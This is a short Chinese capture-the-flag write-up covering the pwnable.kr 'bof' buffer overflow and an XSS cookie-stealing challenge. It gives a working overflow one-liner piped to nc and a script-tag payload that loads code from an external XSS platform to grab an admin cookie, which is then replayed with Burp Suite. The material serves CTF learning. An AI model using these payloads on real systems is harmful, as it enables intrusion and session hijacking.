参考:
- 详细解析ESP寄存器与EBP寄存器:
- 函数栈&EIP、EBP、ESP寄存器的作用: ESP是栈指针寄存器(extended stack pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的栈顶。ESP始终指向栈顶,只要ESP指向变了,那么当前栈顶就变了。
EBP是基址指针寄存器(extended base pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的底部。EBP存储着当前函数栈底的地址,栈低通常作为基址,我们可以通过栈底地址和偏移相加减来获取变量地址(很重要)。
分析:
转到Download :http://pwnable.kr/bin/bof 下载bof文件,拖入IDA-32bits
F5编译后查看main函数,跟到func函数后,可知即将a1覆盖为0xCAFEBABE
即可。
s是ebp-2c,a1是ebp+8h,距离是(2c+8h=52)52,所以要覆盖52个字符.
再加上0xCAFEBABE
,注意小端输入
所以输入(python -c "print 'a'*52+'\xbe\xba\xfe\xca'";cat) | nc pwnable.kr 9000
ls得到flag文件
参考:
分析:
这道题思路是通过XSS获取cookie,再通过burpsuit 抓包上传获得 flag,本身的xss没有任何r绕过,主要是一个md5截断作为验证码,根据参考的MD5截断程序编写babyxs.py,专门用作验证码获取。
这道题直接打开xss平台,选择默认模式,将平台生成的代码输入文本框,再输入验证码,就可以在平台得到cookie
我输入的代码如下:</tExtArEa>'"><sCRiPt sRC=http://xssye.com/uc2M></sCrIpT>
得到cookie:
打开burpsuit,在intercept off 下打开 admin.php,再intercept on 进行抓包
得到
将cookie中PHPSESSID=8062ffcea7f0e79ad37339918dc13fe8
改为我们得到的token=a9011a0e551f181c1c526881befac44d
利用repeater发包后得到flag